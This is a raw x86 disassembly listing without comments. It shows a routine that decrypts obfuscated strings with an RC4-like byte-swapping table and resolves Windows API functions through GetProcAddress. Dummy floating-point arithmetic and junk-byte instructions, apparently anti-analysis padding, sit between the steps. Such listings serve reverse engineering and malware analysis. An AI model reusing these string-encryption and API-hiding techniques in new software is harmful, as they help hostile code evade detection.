mov edx, esi
and edx, 0xff
and edx, ebx
inc eax
cmp eax, 0xb
mov dword [ebp - 0x30], eax
jbe 0x410a21
mov eax, edx
xor edx, edx
div dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
cmp eax, edx
jb 0x41096d
je 0x410a59
mov bl, byte [ebp + eax - 0x3b8]
lea edx, [ebp + edx - 0x3b8]
lea ecx, [ebp + eax - 0x3b8]
mov al, byte [edx]
xor bl, al
mov byte [ecx], bl
mov al, bl
mov bl, byte [edx]
xor bl, al
mov byte [edx], bl
mov al, byte [ecx]
mov dl, bl
xor al, dl
mov byte [ecx], al
mov eax, dword [ebp - 0x40]
dec eax
mov dword [ebp - 0x40], eax
jne 0x410952
mov dl, byte [ebp - 0x3b1]
mov edi, dword [ebp - 0x48]
and esi, 0xff
mov byte [ebp - 0x18], dl
mov dl, byte [edi]
mov bl, byte [ebp - 0x3b5]
mov al, byte [ebp + esi - 0x3b8]
add dl, 5
mov byte [ebp - 0x1c], al
mov al, byte [edi + 1]
sub al, 0x77
mov cl, byte [ebp - 0x3b3]
shl dl, 4
or al, dl
mov byte [ebp - 0x10], al
mov eax, dword [ebp - 0x1c]
and eax, 0xff
fstp st(0)
mov dl, byte [ebp + eax - 0x3b8]
lea esi, [ebp + eax - 0x3b8]
mov byte [ebp - 0x14], dl
mov edx, dword [ebp - 0x3b7]
mov eax, edx
and eax, 0xff
mov al, byte [ebp + eax - 0x3b8]
add al, bl
inc dl
mov byte [ebp - 8], al
mov byte [ebp - 4], dl
mov edx, dword [ebp - 8]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
lea edx, [ebp + edx - 0x3b8]
mov byte [esi], bl
mov ebx, dword [ebp - 0x18]
and ebx, 0xff
mov dword [ebp - 0x2c], edx
lea ebx, [ebp + ebx - 0x3b8]
mov dword [ebp - 0x20], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp - 4]
mov ebx, dword [ebp - 0x20]
and edx, 0xff
lea edx, [ebp + edx - 0x3b8]
mov dword [ebp - 0xc], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0xc]
mov dl, byte [ebp - 0x14]
mov byte [ebx], dl
mov edx, dword [ebp - 0x14]
and edx, 0xff
mov dword [ebp - 0x30], edx
mov bl, byte [ebp + edx - 0x3b8]
add cl, bl
mov bl, byte [esi]
mov esi, dword [ebp - 0x20]
mov byte [ebp - 0x24], cl
mov edx, dword [ebp - 0x24]
and edx, 0xff
mov dl, byte [ebp + edx - 0x3b8]
add edx, ebx
mov bl, byte [esi]
add edx, ebx
mov esi, dword [ebp - 0x30]
and edx, 0xff
xor ebx, ebx
mov bl, byte [ebp + edx - 0x3b8]
mov edx, dword [ebp - 0x2c]
mov dl, byte [edx]
mov bl, byte [ebp + ebx - 0x3b8]
add edx, esi
and edx, 0xff
xor bl, byte [ebp + edx - 0x3b8]
mov dl, byte [ebp - 0x10]
mov byte [ebp - 0x1c], dl
xor bl, dl
mov dl, byte [edi + 2]
mov byte [ebp - 0x18], bl
add dl, 5
mov bl, byte [edi + 3]
add edi, 4
shl dl, 4
sub bl, 0x77
or dl, bl
mov byte [ebp - 0x10], dl
mov edx, dword [ebp - 0x1c]
and edx, 0xff
lea esi, [ebp + edx - 0x3b8]
mov dl, byte [ebp + edx - 0x3b8]
mov byte [ebp - 0x14], dl
mov edx, dword [ebp - 0xc]
mov bl, byte [edx]
mov dl, byte [ebp - 4]
add al, bl
inc dl
mov byte [ebp - 8], al
mov byte [ebp - 4], dl
mov edx, dword [ebp - 8]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
lea edx, [ebp + edx - 0x3b8]
mov byte [esi], bl
mov ebx, dword [ebp - 0x18]
and ebx, 0xff
mov dword [ebp - 0x2c], edx
lea ebx, [ebp + ebx - 0x3b8]
mov dword [ebp - 0x20], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp - 4]
mov ebx, dword [ebp - 0x20]
and edx, 0xff
lea edx, [ebp + edx - 0x3b8]
mov dword [ebp - 0xc], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0xc]
mov dl, byte [ebp - 0x14]
mov byte [ebx], dl
mov edx, dword [ebp - 0x14]
and edx, 0xff
mov dword [ebp - 0x30], edx
mov bl, byte [ebp + edx - 0x3b8]
add cl, bl
mov bl, byte [esi]
mov esi, dword [ebp - 0x20]
mov byte [ebp - 0x24], cl
mov edx, dword [ebp - 0x24]
and edx, 0xff
mov dl, byte [ebp + edx - 0x3b8]
add edx, ebx
mov bl, byte [esi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
mov edx, dword [ebp - 0x2c]
mov esi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x30]
add ebx, edx
mov dl, byte [ebp + esi - 0x3b8]
and ebx, 0xff
mov esi, 2
xor dl, byte [ebp + ebx - 0x3b8]
mov bl, byte [ebp - 0x10]
mov byte [ebp - 0x1c], bl
xor dl, bl
mov byte [ebp - 0x1b4], dl
mov bl, byte [edi]
mov byte [ebp - 0x18], dl
mov dl, byte [edi + 1]
add bl, 5
sub dl, 0x77
shl bl, 4
or dl, bl
mov byte [ebp - 0x10], dl
mov edx, dword [ebp - 0x1c]
and edx, 0xff
lea edi, [ebp + edx - 0x3b8]
mov dl, byte [edi]
mov dword [ebp - 0x38], 4
mov byte [ebp - 0x14], dl
mov edx, dword [ebp - 0xc]
mov bl, byte [edx]
mov dl, byte [ebp - 4]
add al, bl
inc dl
mov byte [ebp - 8], al
mov byte [ebp - 4], dl
mov edx, dword [ebp - 8]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
lea edx, [ebp + edx - 0x3b8]
mov byte [edi], bl
mov ebx, dword [ebp - 0x18]
and ebx, 0xff
mov dword [ebp - 0x2c], edx
lea ebx, [ebp + ebx - 0x3b8]
mov dword [ebp - 0x20], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp - 4]
mov ebx, dword [ebp - 0x20]
and edx, 0xff
lea edx, [ebp + edx - 0x3b8]
mov dword [ebp - 0xc], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0xc]
mov dl, byte [ebp - 0x14]
mov byte [ebx], dl
mov edx, dword [ebp - 0x14]
and edx, 0xff
mov dword [ebp - 0x30], edx
mov bl, byte [ebp + edx - 0x3b8]
add cl, bl
mov bl, byte [edi]
mov edi, dword [ebp - 0x20]
mov byte [ebp - 0x24], cl
mov edx, dword [ebp - 0x24]
and edx, 0xff
mov dl, byte [ebp + edx - 0x3b8]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
mov edx, dword [ebp - 0x2c]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x30]
add ebx, edx
mov dl, byte [ebp + edi - 0x3b8]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x3b8]
mov bl, byte [ebp - 0x10]
mov byte [ebp - 0x1c], bl
xor dl, bl
mov byte [ebp - 0x18], dl
mov byte [ebp - 0x1b3], dl
mov edx, dword [ebp - 0x48]
lea edi, [edx + 4]
jmp 0x410dbd
mov edi, dword [ebp - 0x40]
mov bl, byte [edi + 2]
mov dl, byte [edi + 3]
add edi, 2
add bl, 5
sub dl, 0x77
mov dword [ebp - 0x40], edi
shl bl, 4
or dl, bl
inc esi
mov byte [ebp - 0x10], dl
mov edx, dword [ebp - 0x1c]
and edx, 0xff
lea edi, [ebp + edx - 0x3b8]
mov dl, byte [ebp + edx - 0x3b8]
mov byte [ebp - 0x14], dl
mov edx, dword [ebp - 0xc]
mov bl, byte [edx]
mov dl, byte [ebp - 4]
add al, bl
inc dl
mov byte [ebp - 8], al
mov byte [ebp - 4], dl
mov edx, dword [ebp - 8]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
lea edx, [ebp + edx - 0x3b8]
mov byte [edi], bl
mov ebx, dword [ebp - 0x18]
and ebx, 0xff
mov dword [ebp - 0x2c], edx
lea ebx, [ebp + ebx - 0x3b8]
mov dword [ebp - 0x20], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp - 4]
mov ebx, dword [ebp - 0x20]
and edx, 0xff
lea edx, [ebp + edx - 0x3b8]
mov dword [ebp - 0xc], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0xc]
mov dl, byte [ebp - 0x14]
mov byte [ebx], dl
mov edx, dword [ebp - 0x14]
and edx, 0xff
mov dword [ebp - 0x30], edx
mov bl, byte [ebp + edx - 0x3b8]
add cl, bl
mov bl, byte [edi]
mov edi, dword [ebp - 0x20]
mov byte [ebp - 0x24], cl
mov edx, dword [ebp - 0x24]
and edx, 0xff
mov dl, byte [ebp + edx - 0x3b8]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
mov edx, dword [ebp - 0x2c]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x30]
add ebx, edx
mov dl, byte [ebp + edi - 0x3b8]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x3b8]
mov bl, byte [ebp - 0x10]
mov byte [ebp - 0x1c], bl
xor dl, bl
test esi, esi
mov byte [ebp - 0x18], dl
jbe 0x410ed1
mov byte [ebp + esi - 0x1b5], dl
mov edx, dword [ebp - 0x38]
dec edx
mov dword [ebp - 0x38], edx
jne 0x410dba
lea ebx, [esi + 1]
cmp ebx, 0xd
jge 0x411033
mov edx, dword [ebp - 4]
and edx, 0xff
lea edx, [ebp + edx - 0x3b8]
mov dword [ebp - 0xc], edx
mov edx, dword [ebp - 0x48]
lea edi, [edx + esi*2]
mov edx, 0xd
sub edx, ebx
mov dword [ebp - 0x38], edx
jmp 0x410f12
mov edi, dword [ebp - 0x40]
mov bl, byte [edi + 2]
mov dl, byte [edi + 3]
add edi, 2
add bl, 5
sub dl, 0x77
mov dword [ebp - 0x40], edi
shl bl, 4
or dl, bl
inc esi
mov byte [ebp - 0x10], dl
mov edx, dword [ebp - 0x1c]
and edx, 0xff
lea edi, [ebp + edx - 0x3b8]
mov dl, byte [ebp + edx - 0x3b8]
mov byte [ebp - 0x14], dl
mov edx, dword [ebp - 0xc]
mov bl, byte [edx]
mov dl, byte [ebp - 4]
add al, bl
inc dl
mov byte [ebp - 8], al
mov byte [ebp - 4], dl
mov edx, dword [ebp - 8]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
lea edx, [ebp + edx - 0x3b8]
mov byte [edi], bl
mov ebx, dword [ebp - 0x18]
and ebx, 0xff
mov dword [ebp - 0x2c], edx
lea ebx, [ebp + ebx - 0x3b8]
mov dword [ebp - 0x20], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp - 4]
mov ebx, dword [ebp - 0x20]
and edx, 0xff
lea edx, [ebp + edx - 0x3b8]
mov dword [ebp - 0xc], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0xc]
mov dl, byte [ebp - 0x14]
mov byte [ebx], dl
mov edx, dword [ebp - 0x14]
and edx, 0xff
mov dword [ebp - 0x30], edx
mov bl, byte [ebp + edx - 0x3b8]
add cl, bl
mov bl, byte [edi]
mov edi, dword [ebp - 0x20]
mov byte [ebp - 0x24], cl
mov edx, dword [ebp - 0x24]
and edx, 0xff
mov dl, byte [ebp + edx - 0x3b8]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
mov edx, dword [ebp - 0x2c]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x30]
add ebx, edx
mov dl, byte [ebp + edi - 0x3b8]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x3b8]
mov bl, byte [ebp - 0x10]
mov byte [ebp - 0x1c], bl
xor dl, bl
test esi, esi
mov byte [ebp - 0x18], dl
jbe 0x411026
mov byte [ebp + esi - 0x1b5], dl
mov edx, dword [ebp - 0x38]
dec edx
mov dword [ebp - 0x38], edx
jne 0x410f0f
mov edi, dword [ebp - 0x48]
inc esi
xor edx, edx
mov dl, byte [edi + esi*2]
mov bl, byte [edi + esi*2 + 1]
add dl, 5
sub bl, 0x77
shl dl, 4
or bl, dl
mov edx, dword [ebp - 0x1c]
and edx, 0xff
mov byte [ebp - 0x10], bl
lea edi, [ebp + edx - 0x3b8]
mov dl, byte [ebp + edx - 0x3b8]
mov byte [ebp - 0x14], dl
mov edx, dword [ebp - 4]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
mov dl, byte [ebp - 4]
add al, bl
inc dl
mov byte [ebp - 8], al
mov byte [ebp - 4], dl
mov edx, dword [ebp - 8]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
lea edx, [ebp + edx - 0x3b8]
mov byte [edi], bl
mov ebx, dword [ebp - 0x18]
and ebx, 0xff
mov dword [ebp - 0x2c], edx
lea ebx, [ebp + ebx - 0x3b8]
mov dword [ebp - 0x20], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp - 4]
mov ebx, dword [ebp - 0x20]
and edx, 0xff
lea edx, [ebp + edx - 0x3b8]
mov dword [ebp - 0xc], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0xc]
mov dl, byte [ebp - 0x14]
mov byte [ebx], dl
mov edx, dword [ebp - 0x14]
and edx, 0xff
mov dword [ebp - 0x30], edx
mov bl, byte [ebp + edx - 0x3b8]
add cl, bl
mov bl, byte [edi]
mov edi, dword [ebp - 0x20]
mov byte [ebp - 0x24], cl
mov edx, dword [ebp - 0x24]
and edx, 0xff
mov dl, byte [ebp + edx - 0x3b8]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
mov edx, dword [ebp - 0x2c]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x30]
add ebx, edx
mov dl, byte [ebp + edi - 0x3b8]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x3b8]
mov bl, byte [ebp - 0x10]
mov byte [ebp - 0x1c], bl
xor dl, bl
test esi, esi
mov byte [ebp - 0x18], dl
jbe 0x411152
mov byte [ebp + esi - 0x1b5], dl
mov edi, dword [ebp - 0x48]
inc esi
xor edx, edx
mov dl, byte [edi + esi*2]
mov bl, byte [edi + esi*2 + 1]
add dl, 5
sub bl, 0x77
shl dl, 4
or bl, dl
mov edx, dword [ebp - 0x1c]
and edx, 0xff
mov byte [ebp - 0x10], bl
lea edi, [ebp + edx - 0x3b8]
mov dl, byte [ebp + edx - 0x3b8]
mov byte [ebp - 0x14], dl
mov edx, dword [ebp - 0xc]
mov bl, byte [edx]
mov dl, byte [ebp - 4]
add al, bl
inc dl
mov byte [ebp - 8], al
mov byte [ebp - 4], dl
mov edx, dword [ebp - 8]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
lea edx, [ebp + edx - 0x3b8]
mov byte [edi], bl
mov ebx, dword [ebp - 0x18]
and ebx, 0xff
mov dword [ebp - 0x2c], edx
lea ebx, [ebp + ebx - 0x3b8]
mov dword [ebp - 0x20], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp - 4]
mov ebx, dword [ebp - 0x20]
and edx, 0xff
lea edx, [ebp + edx - 0x3b8]
mov dword [ebp - 0xc], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0xc]
mov dl, byte [ebp - 0x14]
mov byte [ebx], dl
mov edx, dword [ebp - 0x14]
and edx, 0xff
mov dword [ebp - 0x30], edx
mov bl, byte [ebp + edx - 0x3b8]
add cl, bl
mov bl, byte [edi]
mov edi, dword [ebp - 0x20]
mov byte [ebp - 0x24], cl
mov edx, dword [ebp - 0x24]
and edx, 0xff
mov dl, byte [ebp + edx - 0x3b8]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
mov edx, dword [ebp - 0x2c]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x30]
add ebx, edx
mov dl, byte [ebp + edi - 0x3b8]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x3b8]
mov bl, byte [ebp - 0x10]
xor dl, bl
test esi, esi
mov byte [ebp - 0x18], dl
jbe 0x411263
mov byte [ebp + esi - 0x1b5], dl
mov edx, dword [ebp - 0x10]
inc esi
and edx, 0xff
lea edi, [ebp + edx - 0x3b8]
mov dl, byte [ebp + edx - 0x3b8]
mov byte [ebp - 0x14], dl
mov edx, dword [ebp - 0xc]
mov bl, byte [edx]
add al, bl
mov bl, byte [ebp - 4]
mov byte [ebp - 8], al
mov eax, dword [ebp - 8]
and eax, 0xff
inc bl
mov byte [ebp - 4], bl
mov dl, byte [ebp + eax - 0x3b8]
lea eax, [ebp + eax - 0x3b8]
mov byte [edi], dl
mov edx, dword [ebp - 0x18]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
lea edx, [ebp + edx - 0x3b8]
mov byte [eax], bl
mov ebx, dword [ebp - 4]
and ebx, 0xff
mov dword [ebp - 0x20], edx
test esi, esi
lea ebx, [ebp + ebx - 0x3b8]
mov dword [ebp - 0xc], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov ebx, dword [ebp - 0xc]
mov dl, byte [ebp - 0x14]
mov byte [ebx], dl
jbe 0x411360
mov edx, dword [ebp - 0x14]
mov al, byte [eax]
and edx, 0xff
mov dword [ebp - 0x30], edx
mov edx, dword [ebp - 0x48]
mov bl, byte [edx + esi*2]
mov dl, byte [edx + esi*2 + 1]
add bl, 5
sub dl, 0x77
shl bl, 4
or bl, dl
mov edx, dword [ebp - 0x30]
mov dl, byte [ebp + edx - 0x3b8]
add dl, cl
and edx, 0xff
mov cl, byte [ebp + edx - 0x3b8]
mov dl, byte [edi]
add ecx, edx
mov edx, dword [ebp - 0x20]
mov edi, dword [ebp - 0x30]
mov dl, byte [edx]
add eax, edi
add ecx, edx
xor edx, edx
and ecx, 0xff
and eax, 0xff
mov dl, byte [ebp + ecx - 0x3b8]
mov cl, byte [ebp + edx - 0x3b8]
xor bl, cl
mov cl, byte [ebp + eax - 0x3b8]
xor bl, cl
mov byte [ebp + esi - 0x1b5], bl
mov byte [ebp - 0x1a6], 0
mov edx, dword [ebp - 0x1d8]
lea ecx, [ebp - 0x1b4]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
fld qword [0x89a578]
fld qword [0x89a578]
mov dword [0x8de944], eax
fld st(0)
fmul st(1)
fld st(0)
fmul qword [0x8a8c50]
fsub st(1)
fxch st(1)
fmul qword [0x8a1628]
fadd qword [0x8a8c48]
fdivp st(1)
faddp st(2)
fld st(1)
fcomp qword [0x8a8c40]
fnstsw ax
test ah, 0x41
jne 0x4113c5
fld st(0)
fmul qword [0x8a8c38]
fsubp st(2)
fadd qword [0x8a1578]
fcom qword [0x8a8c30]
fnstsw ax
test ah, 1
jne 0x41138c
fxch st(1)
fst qword [ebp - 0x34]
fxch st(1)
fstp st(0)
fcomp qword [0x89a578]
fnstsw ax
test ah, 1
je 0x411421
sub byte [esi], bh
popal
push ecx
push ecx
pop ecx
ja 0x41144a
pop esp
xor edx, dword [eax + 0x6d]
pop esp
inc esi
sub eax, 0xa3614f46
mov byte [esi - 0x5f755f73], ah
xchg edx, eax
lcall 0x9b94, 0xa18e9f87
xchg byte [ebx - 0x596c577a], bl
mov ah, byte [ebx - 0x5a745a79]
xchg edx, eax
jmp 0x412093
mov dword [ebp - 0x40], 0x411400
mov dword [ebp - 8], 0x4113ee
xor eax, eax
mov byte [ebp + eax - 0x3b8], al
inc eax
cmp eax, 0x100
jb 0x411431
fld qword [ebp - 0x34]
mov byte [ebp - 0x38], 0
mov esi, dword [ebp - 0x38]
xor edi, edi
mov dword [ebp - 0x48], 0xff
mov eax, dword [ebp - 0x48]
mov ebx, 1
cmp eax, ebx
mov dword [ebp - 0x30], 0
jbe 0x41146e
lea ebx, [ebx + ebx + 1]
cmp ebx, eax
jb 0x411466
cmp edi, 3
ja case.default.0x411473
jmp dword [edi*4 + 0x42ce5c]
fld st(0)
and esi, 0xff
call fcn.00848444
mov cl, byte [ebp + esi - 0x3b8]
jmp 0x4114e0
fld st(0)
call fcn.00848444
mov ecx, eax
shr ecx, 8
and esi, 0xff
jmp 0x4114d9
fld st(0)
call fcn.00848444
mov ecx, eax
shr ecx, 0x10
and esi, 0xff
jmp 0x4114d9
fld st(0)
call fcn.00848444
mov ecx, eax
shr ecx, 0x18
and esi, 0xff
jmp 0x4114d9
mov eax, dword [ebp - 8]
and esi, 0xff
mov cl, byte [edi + eax - 4]
mov al, byte [ebp + esi - 0x3b8]
add cl, al
inc edi
cmp edi, 0x16
mov byte [ebp - 0x38], cl
jb 0x4114f3
xor edi, edi
add cl, 0x16
mov byte [ebp - 0x38], cl
mov esi, dword [ebp - 0x38]
mov eax, dword [ebp - 0x30]
mov edx, esi
and edx, 0xff
and edx, ebx
inc eax
cmp eax, 0xb
mov dword [ebp - 0x30], eax
jbe 0x411513
mov eax, edx
xor edx, edx
div dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
cmp eax, edx
jb 0x41146e
je 0x411552
mov ecx, eax
mov al, byte [ebp + edx - 0x3b8]
lea edx, [ebp + edx - 0x3b8]
mov bl, byte [ebp + ecx - 0x3b8]
lea ecx, [ebp + ecx - 0x3b8]
xor bl, al
mov byte [ecx], bl
mov al, bl
mov bl, byte [edx]
xor bl, al
mov byte [edx], bl
mov al, byte [ecx]
mov dl, bl
xor al, dl
mov byte [ecx], al
mov eax, dword [ebp - 0x48]
dec eax
mov dword [ebp - 0x48], eax
jne 0x411453
mov dl, byte [ebp - 0x3b1]
mov edi, dword [ebp - 0x40]
and esi, 0xff
mov byte [ebp - 0x1c], dl
xor edx, edx
mov bl, byte [ebp - 0x3b5]
mov al, byte [ebp + esi - 0x3b8]
mov dl, byte [edi + 1]
mov byte [ebp - 8], al
xor eax, eax
mov al, byte [edi]
add dl, 0x7b
add al, 7
mov cl, byte [ebp - 0x3b3]
shl al, 4
or al, dl
mov edx, dword [ebp - 8]
and edx, 0xff
mov byte [ebp - 0x30], al
fstp st(0)
mov al, byte [ebp + edx - 0x3b8]
lea esi, [ebp + edx - 0x3b8]
mov edx, dword [ebp - 0x3b7]
mov byte [ebp - 4], al
mov eax, edx
and eax, 0xff
mov al, byte [ebp + eax - 0x3b8]
add al, bl
inc dl
mov byte [ebp - 0x10], al
mov byte [ebp - 0xc], dl
mov edx, dword [ebp - 0x10]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
lea edx, [ebp + edx - 0x3b8]
mov byte [esi], bl
mov ebx, dword [ebp - 0x1c]
and ebx, 0xff
mov dword [ebp - 0x24], edx
lea ebx, [ebp + ebx - 0x3b8]
mov dword [ebp - 0x20], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp - 0xc]
mov ebx, dword [ebp - 0x20]
and edx, 0xff
lea edx, [ebp + edx - 0x3b8]
mov dword [ebp - 0x2c], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x2c]
mov dl, byte [ebp - 4]
mov byte [ebx], dl
mov edx, dword [ebp - 4]
and edx, 0xff
mov dword [ebp - 0x14], edx
mov bl, byte [ebp + edx - 0x3b8]
add cl, bl
mov bl, byte [esi]
mov esi, dword [ebp - 0x20]
mov byte [ebp - 0x18], cl
mov edx, dword [ebp - 0x18]
and edx, 0xff
mov dl, byte [ebp + edx - 0x3b8]
add edx, ebx
mov bl, byte [esi]
add edx, ebx
mov esi, dword [ebp - 0x14]
and edx, 0xff
xor ebx, ebx
mov bl, byte [ebp + edx - 0x3b8]
mov edx, dword [ebp - 0x24]
mov dl, byte [edx]
mov bl, byte [ebp + ebx - 0x3b8]
add edx, esi
and edx, 0xff
xor bl, byte [ebp + edx - 0x3b8]
mov dl, byte [ebp - 0x30]
mov byte [ebp - 8], dl
xor bl, dl
mov byte [ebp - 0x1c], bl
mov bl, byte [edi + 2]
mov dl, byte [edi + 3]
add bl, 7
add dl, 0x7b
shl bl, 4
or dl, bl
add edi, 4
mov byte [ebp - 0x30], dl
mov edx, dword [ebp - 8]
and edx, 0xff
lea esi, [ebp + edx - 0x3b8]
mov dl, byte [ebp + edx - 0x3b8]
mov byte [ebp - 4], dl
mov edx, dword [ebp - 0x2c]
mov bl, byte [edx]
mov dl, byte [ebp - 0xc]
add al, bl
inc dl
mov byte [ebp - 0x10], al
mov byte [ebp - 0xc], dl
mov edx, dword [ebp - 0x10]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
lea edx, [ebp + edx - 0x3b8]
mov byte [esi], bl
mov ebx, dword [ebp - 0x1c]
and ebx, 0xff
mov dword [ebp - 0x24], edx
lea ebx, [ebp + ebx - 0x3b8]
mov dword [ebp - 0x20], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp - 0xc]
mov ebx, dword [ebp - 0x20]
and edx, 0xff
lea edx, [ebp + edx - 0x3b8]
mov dword [ebp - 0x2c], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x2c]
mov dl, byte [ebp - 4]
mov byte [ebx], dl
mov edx, dword [ebp - 4]
and edx, 0xff
mov dword [ebp - 0x14], edx
mov bl, byte [ebp + edx - 0x3b8]
add cl, bl
mov bl, byte [esi]
mov esi, dword [ebp - 0x20]
mov byte [ebp - 0x18], cl
mov edx, dword [ebp - 0x18]
and edx, 0xff
mov dl, byte [ebp + edx - 0x3b8]
add edx, ebx
mov bl, byte [esi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
mov edx, dword [ebp - 0x24]
mov esi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x14]
add ebx, edx
mov dl, byte [ebp + esi - 0x3b8]
and ebx, 0xff
mov esi, 2
xor dl, byte [ebp + ebx - 0x3b8]
mov bl, byte [ebp - 0x30]
mov byte [ebp - 8], bl
xor dl, bl
mov byte [ebp - 0x134], dl
mov bl, byte [edi]
mov byte [ebp - 0x1c], dl
mov dl, byte [edi + 1]
add bl, 7
add dl, 0x7b
shl bl, 4
or dl, bl
mov byte [ebp - 0x30], dl
mov edx, dword [ebp - 8]
and edx, 0xff
mov dword [ebp - 0x48], 3
lea edi, [ebp + edx - 0x3b8]
mov dl, byte [ebp + edx - 0x3b8]
mov byte [ebp - 4], dl
mov edx, dword [ebp - 0x2c]
mov bl, byte [edx]
mov dl, byte [ebp - 0xc]
add al, bl
inc dl
mov byte [ebp - 0x10], al
mov byte [ebp - 0xc], dl
mov edx, dword [ebp - 0x10]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
lea edx, [ebp + edx - 0x3b8]
mov byte [edi], bl
mov ebx, dword [ebp - 0x1c]
and ebx, 0xff
mov dword [ebp - 0x24], edx
lea ebx, [ebp + ebx - 0x3b8]
mov dword [ebp - 0x20], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp - 0xc]
mov ebx, dword [ebp - 0x20]
and edx, 0xff
lea edx, [ebp + edx - 0x3b8]
mov dword [ebp - 0x2c], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x2c]
mov dl, byte [ebp - 4]
mov byte [ebx], dl
mov edx, dword [ebp - 4]
and edx, 0xff
mov dword [ebp - 0x14], edx
mov bl, byte [ebp + edx - 0x3b8]
add cl, bl
mov bl, byte [edi]
mov edi, dword [ebp - 0x20]
mov byte [ebp - 0x18], cl
mov edx, dword [ebp - 0x18]
and edx, 0xff
mov dl, byte [ebp + edx - 0x3b8]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
mov edx, dword [ebp - 0x24]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x14]
add ebx, edx
mov dl, byte [ebp + edi - 0x3b8]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x3b8]
mov bl, byte [ebp - 0x30]
mov byte [ebp - 8], bl
xor dl, bl
mov byte [ebp - 0x1c], dl
mov byte [ebp - 0x133], dl
mov edx, dword [ebp - 0x40]
lea edi, [edx + 4]
jmp 0x4118c0
mov edi, dword [ebp - 0x38]
mov bl, byte [edi + 2]
mov dl, byte [edi + 3]
add edi, 2
add bl, 7
add dl, 0x7b
mov dword [ebp - 0x38], edi
shl bl, 4
or dl, bl
inc esi
mov byte [ebp - 0x30], dl
mov edx, dword [ebp - 8]
and edx, 0xff
lea edi, [ebp + edx - 0x3b8]
mov dl, byte [ebp + edx - 0x3b8]
mov byte [ebp - 4], dl
mov edx, dword [ebp - 0x2c]
mov bl, byte [edx]
mov dl, byte [ebp - 0xc]
add al, bl
inc dl
mov byte [ebp - 0x10], al
mov byte [ebp - 0xc], dl
mov edx, dword [ebp - 0x10]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
lea edx, [ebp + edx - 0x3b8]
mov byte [edi], bl
mov ebx, dword [ebp - 0x1c]
and ebx, 0xff
mov dword [ebp - 0x24], edx
lea ebx, [ebp + ebx - 0x3b8]
mov dword [ebp - 0x20], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp - 0xc]
mov ebx, dword [ebp - 0x20]
and edx, 0xff
lea edx, [ebp + edx - 0x3b8]
